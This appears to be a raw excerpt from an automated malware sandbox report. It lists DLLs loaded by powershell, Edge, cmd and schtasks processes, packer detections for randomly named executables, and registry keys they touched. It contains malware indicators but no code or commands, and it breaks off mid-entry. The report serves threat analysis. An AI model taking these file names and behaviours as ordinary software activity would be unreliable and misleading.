"API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74100000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74100000 "powershell.exe" loaded module "KERNEL32" at base 75eb0000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73560000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 764b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 72a00000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 76630000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 73e60000 "powershell.exe" loaded module "VERSION.DLL" at base 73b60000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 72250000 "powershell.exe" loaded module "USER32.DLL" at base 75660000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 74100000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "powershell.exe" loaded module "MSCOREE.DLL" at base 72df0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 75b10000 "powershell.exe" loaded module "PSAPI.DLL" at base 772a0000 "powershell.exe" loaded module "KERNEL32.DLL" at base 75eb0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 70d90000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "powershell.exe" loaded module "RPCRT4.DLL" at base 74040000 "powershell.exe" loaded module "OLE32.DLL" at base 767a0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 75b10000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "OLEAUT32.DLL" at base 75830000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 6f1c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 76960000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 74100000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 70d00000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 702a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 6fa80000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\COMBASE.DLL" at base 0 "powershell.exe" loaded module "COMBASE.DLL" at base 75b10000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 75b10000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "NTDLL.DLL" at base 77420000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "powershell.exe" loaded module "SHELL32.DLL" at base 74320000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\AMSI.DLL" at base 0 "powershell.exe" loaded module "AMSI.DLL" at base 72da0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 73b60000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPOAV.DLL" at base 6f150000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WINTRUST.DLL" at base 0 "powershell.exe" loaded module "WINTRUST.DLL" at base 73fd0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.MF49F6405#\E7F9E4AF50C666B5FEC85987C303915A\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 6f0d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\VERSION.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINTRUST.DLL" at base 73fd0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 758d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 6f1f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 6ed70000 "powershell.exe" loaded module "CRYPT32.DLL" at base 758d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 75b10000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 6ed00000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "powershell.exe" loaded module "SECUR32.DLL" at base 6ecf0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 6f970000 "powershell.exe" loaded module "SSPICLI.DLL" at base 73e40000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\SHLWAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WLDP.DLL" at base 0 "powershell.exe" loaded module "WLDP.DLL" at base 6ecd0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 738c0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPCLIENT.DLL" at base 6ec30000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 75eb0000 "powershell.exe" loaded module "USERENV.DLL" at base 6f170000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 764b0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\MSISIP.DLL" at base 6ebd0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WSHEXT.DLL" at base 6ebb0000 "powershell.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 75eb0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\APPXSIP.DLL" at base 6eb80000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINDOWSPOWERSHELL\V1.0\PWRSHSIP.DLL" at base 6e670000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 6e640000 "powershell.exe" loaded module "CRYPTNET.DLL" at base 6e640000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\URLMON.DLL" at base 0 "powershell.exe" loaded module "URLMON.DLL" at base 6e8a0000 "powershell.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 74100000 "powershell.exe" loaded module "MSISO.DLL" at base 6e5d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MICROSOFT.APPV.APPVCLIENTCOMCONSUMER\V4.0_10.0.0.0__31BF3856AD364E35\MICROSOFT.APPV.APPVCLIENTCOMCONSUMER.DLL" at base 6e520000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "powershell.exe" loaded module "BCRYPT.DLL" at base 73160000 "powershell.exe" loaded module "OLEAUT32" at base 75830000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0.DLL" at base 74100000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\MSVCRT.DLL" at base 0 "powershell.exe" loaded module "MSVCRT.DLL" at base 768a0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.UNMANAGED.DLL" at base 0 "powershell.exe" loaded module "MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.UNMANAGED.DLL" at base 6e240000 "powershell.exe" loaded module "MI.DLL" at base 6e220000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\MI.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-SECURITY-BASE-L1-1-0.DLL" at base 74100000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WMIDCOM.DLL" at base 6e190000 "powershell.exe" loaded module "GDI32.DLL" at base 75f90000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 74100000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 6e170000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 6e0f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 6e030000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 74100000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 74100000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL" at base 75eb0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\API-MS-WIN-CORE-HANDLE-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-HANDLE-L1-1-0.DLL" at base 74100000 "msedge.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 76a40000 "msedge.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74100000 "msedge.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74100000 "msedge.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74100000 "msedge.exe" loaded module "KERNEL32" at base 75eb0000 "msedge.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73560000 "msedge.exe" loaded module "KERNEL32.DLL" at base 75eb0000 "msedge.exe" loaded module "RPCRT4.DLL" at base 74040000 "msedge.exe" loaded module "%WINDIR%\SYSWOW64\TASKSCHD.DLL" at base 732a0000 "msedge.exe" loaded module "SSPICLI.DLL" at base 73e40000 "powershell.exe" loaded module "AMSI.DLL" at base 6f0a0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPOAV.DLL" at base 6f050000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.MF49F6405#\E7F9E4AF50C666B5FEC85987C303915A\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 6efd0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 6e270000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 6ef60000 "powershell.exe" loaded module "SECUR32.DLL" at base 6ef50000 "powershell.exe" loaded module "WLDP.DLL" at base 6e130000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPCLIENT.DLL" at base 6e090000 "powershell.exe" loaded module "USERENV.DLL" at base 6f070000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\MSISIP.DLL" at base 6ea30000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WSHEXT.DLL" at base 6b2e0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\APPXSIP.DLL" at base 6b2b0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINDOWSPOWERSHELL\V1.0\PWRSHSIP.DLL" at base 6e030000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 6b110000 "powershell.exe" loaded module "CRYPTNET.DLL" at base 6b110000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MICROSOFT.APPV.APPVCLIENTCOMCONSUMER\V4.0_10.0.0.0__31BF3856AD364E35\MICROSOFT.APPV.APPVCLIENTCOMCONSUMER.DLL" at base 6b060000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74100000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74100000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74100000 "cmd.exe" loaded module "KERNEL32" at base 75eb0000 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73560000 "cmd.exe" loaded module "KERNEL32.DLL" at base 75eb0000 "cmd.exe" loaded module "NTDLL.DLL" at base 77420000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 73d90000 "schtasks.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 76a40000 "schtasks.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74100000 "schtasks.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74100000 "schtasks.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74100000 "schtasks.exe" loaded module "KERNEL32" at base 75eb0000 "schtasks.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73560000 "schtasks.exe" loaded module "KERNEL32.DLL" at base 75eb0000 "schtasks.exe" loaded module "RPCRT4.DLL" at base 74040000 "schtasks.exe" loaded module "%WINDIR%\SYSWOW64\TASKSCHD.DLL" at base 732a0000 "schtasks.exe" loaded module "SSPICLI.DLL" at base 73e4000045:T46e,"3a9c8dc060b839403dcfc8a72d29defd.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 76960000 "3a9c8dc060b839403dcfc8a72d29defd.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 73160000 "Lm3NB63.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 76960000 "Lm3NB63.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 73160000 "Rb3sH52.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 76960000 "Rb3sH52.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 73160000 "cN5Rh86.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 76960000 "cN5Rh86.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 73160000 "1uT83YZ4.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 76960000 "1uT83YZ4.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 73160000 "2cD4503.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 76960000 "2cD4503.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 73160000 "powershell.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 76960000 "powershell.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 7316000046:T1517,"3a9c8dc060b839403dcfc8a72d29defd.exe" was detected as "Microsoft Cabinet" and name: "sfx" "3a9c8dc060b839403dcfc8a72d29defd.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "3a9c8dc060b839403dcfc8a72d29defd.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "3a9c8dc060b839403dcfc8a72d29defd.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "3a9c8dc060b839403dcfc8a72d29defd.exe" was detected as "Microsoft Linker" and name: "Linker" "Lm3NB63.exe" was detected as "Microsoft Cabinet" and name: "sfx" "Lm3NB63.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "Lm3NB63.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "Lm3NB63.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "Lm3NB63.exe" was detected as "Microsoft Linker" and name: "Linker" "Rb3sH52.exe" was detected as "Microsoft Cabinet" and name: "sfx" "Rb3sH52.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "Rb3sH52.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "Rb3sH52.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "Rb3sH52.exe" was detected as "Microsoft Linker" and name: "Linker" "6dt0iT0.exe" was detected as "Microsoft Cabinet" and name: "sfx" "6dt0iT0.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "6dt0iT0.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "6dt0iT0.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "6dt0iT0.exe" was detected as "Microsoft Linker" and name: "Linker" "explorhe.exe" was detected as "Microsoft Cabinet" and name: "sfx" "explorhe.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "explorhe.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "explorhe.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "explorhe.exe" was detected as "Microsoft Linker" and name: "Linker" "5id6CC5.exe" was detected as "Microsoft Cabinet" and name: "sfx" "5id6CC5.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "5id6CC5.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "5id6CC5.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "5id6CC5.exe" was detected as "Microsoft Linker" and name: "Linker" "1uT83YZ4.exe" was detected as "Microsoft Cabinet" and name: "sfx" "1uT83YZ4.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "1uT83YZ4.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "1uT83YZ4.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "1uT83YZ4.exe" was detected as "Microsoft Linker" and name: "Linker" "rise.exe" was detected as "Microsoft Cabinet" and name: "sfx" "rise.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "rise.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "rise.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "rise.exe" was detected as "Microsoft Linker" and name: "Linker" "FANBooster131.exe" was detected as "Microsoft Cabinet" and name: "sfx" "FANBooster131.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "FANBooster131.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "FANBooster131.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "FANBooster131.exe" was detected as "Microsoft Linker" and name: "Linker" "cN5Rh86.exe" was detected as "Microsoft Cabinet" and name: "sfx" "cN5Rh86.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "cN5Rh86.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "cN5Rh86.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "cN5Rh86.exe" was detected as "Microsoft Linker" and name: "Linker" "sqlite3.dll" was detected as "Microsoft Cabinet" and name: "sfx" "sqlite3.dll" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "sqlite3.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "sqlite3.dll" was detected as "Microsoft Cabinet File" and name: "Archive" "sqlite3.dll" was detected as "Microsoft Linker" and name: "Linker" "ev.exe" was detected as "Microsoft Cabinet" and name: "sfx" "ev.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "ev.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "ev.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "ev.exe" was detected as "Microsoft Linker" and name: "Linker" "R83RL20231230_1_.exe" was detected as "Microsoft Cabinet" and name: "sfx" "R83RL20231230_1_.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "R83RL20231230_1_.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "R83RL20231230_1_.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "R83RL20231230_1_.exe" was detected as "Microsoft Linker" and name: "Linker" "clip64.dll" was detected as "Microsoft Cabinet" and name: "sfx" "clip64.dll" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "clip64.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "clip64.dll" was detected as "Microsoft Cabinet File" and name: "Archive" "clip64.dll" was detected as "Microsoft Linker" and name: "Linker"47:T1b9e,"1uT83YZ4.exe" touched "Computer" (Path: "HKCU\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "1uT83YZ4.exe" touched "Network" (Path: "HKCU\WOW6432NODE\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "1uT83YZ4.exe" touched "Internet Shortcut" (Path: "HKCU\WOW6432NODE\CLSID\{FBF23B40-E3F0-101B-8488-00AA003E56F8}\TREATAS") "1uT83YZ4.exe" touched "Property System Both Class Factory" (Path: "HKCU\WOW6432NODE\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "1uT83YZ4.exe" touched "Microsoft Url History Service" (Path: "HKCU\WOW6432NODE\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\TREATAS") "1uT83YZ4.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "2cD4503.exe" touched "Removable Drives" (Path: "HKCU\WOW6432NODE\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\INSTANCE") "2cD4503.exe" touched "Sync root manager" (Path: "HKCU\WOW6432NODE\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\INSTANCE") "2cD4503.exe" touched "ExecuteAssociation" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{1649D1CF-DEAF-4A68-ABE8-5C9F68572FD1}\INPROCSERVER32") "2cD4503.exe" touched "Shortcut" (Path: "HKCU\WOW6432NODE\CLSID\{00021401-0000-0000-C000-000000000046}\INPROCSERVER32") "2cD4503.exe" touched "Private Profile Object" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{75847177-F077-4171-BD2C-A6BB2164FBD0}\INPROCSERVER32") "2cD4503.exe" touched "UsersFiles" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\INPROCSERVER32") "2cD4503.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\WOW6432NODE\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE") "2cD4503.exe" touched "Shell File System Folder" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "2cD4503.exe" touched "Known Folder Manager" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{4DF0C730-DF9D-4AE3-9153-AA6B82E9795A}\INPROCSERVER32") "2cD4503.exe" touched "WbemDefaultPathParser" (Path: "HKCU\WOW6432NODE\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\INPROCSERVER32") "2cD4503.exe" touched "WBEM Locator" (Path: "HKCU\WOW6432NODE\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32") "2cD4503.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\WOW6432NODE\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "2cD4503.exe" touched "PSFactoryBuffer" (Path: "HKCU\WOW6432NODE\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "2cD4503.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\WOW6432NODE\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\TREATAS") "2cD4503.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\WOW6432NODE\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "2cD4503.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\WOW6432NODE\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "2cD4503.exe" touched "NDP SymBinder" (Path: "HKCU\WOW6432NODE\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32") "2cD4503.exe" touched "Recycle Bin" (Path: "HKCU\WOW6432NODE\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "2cD4503.exe" touched "Control Panel" (Path: "HKCU\WOW6432NODE\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "2cD4503.exe" touched "UsersLibraries" (Path: "HKCU\WOW6432NODE\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "2cD4503.exe" touched "CLSID_SearchFolder" (Path: "HKCU\WOW6432NODE\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "2cD4503.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: 